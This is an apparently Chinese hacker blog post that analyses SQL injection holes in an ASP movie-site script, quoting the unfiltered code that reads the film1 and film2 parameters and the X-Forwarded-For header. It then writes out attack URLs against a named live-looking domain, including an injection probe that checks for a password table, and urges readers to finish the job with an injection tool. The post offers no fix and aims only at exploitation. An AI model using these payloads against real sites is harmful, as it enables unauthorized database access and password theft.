为了看电影今天坐上床上乖乖的看代码,看了两个文件,两个文件都有注射漏洞,第一个cookie注射漏洞,接下来的这个就比较好利用了,直接拿工具注射吧,嘿嘿.
老规矩先来分析一下代码,漏洞是在2233d86.ASP文件里,重要代码: <% Response.Expires=0 dim sql dim rs articleid=request("film2") //看到request就知道代码编写者白痴, urlid=request("film1") if articleid="" or urlid="" then response.write"非法操作" response.end end if set rs=server.createobject("adodb.recordset") sql="select serverip,canlook,movietype,title from learning where articleid="&articleid rs.open sql,conn,1,1 serverip=rs("serverip") okip=Request.Servervariables("HTTP_X_FORWARDED_FOR") If okip="" Then okip=Request.Servervariables("REMOTE_ADDR") set rst8=server.createobject("adodb.recordset") sql="select okip,testok,endtimes from okip where okip='"&okip&"'" rst8.open sql,conn,1,1 if rst8.eof and rst8.bof then if request.cookies("userid")="" or request.cookies("password")="" then %> 看到了吧,articleid=request("film2"), urlid=request("film1"),用ctrl+f追踪这两个变量,根本没有看到过滤,嘿嘿,这下爽了吧,直接注吧.
直接构造如下: http://www.yubei.cq.cn/mov/2233d86.asp?film1=2524&film2=421 保证film1和film2不为空就可以了,两个都没过滤都可以注射,交换变量位置也一样.
构造注射语句如下: http://www.yubei.cq.cn/mov/2233d86.asp?film1=2524&film2=421 and 1=(select count(*) from password);-- 嘿嘿,接下来的就不要我教了吧
|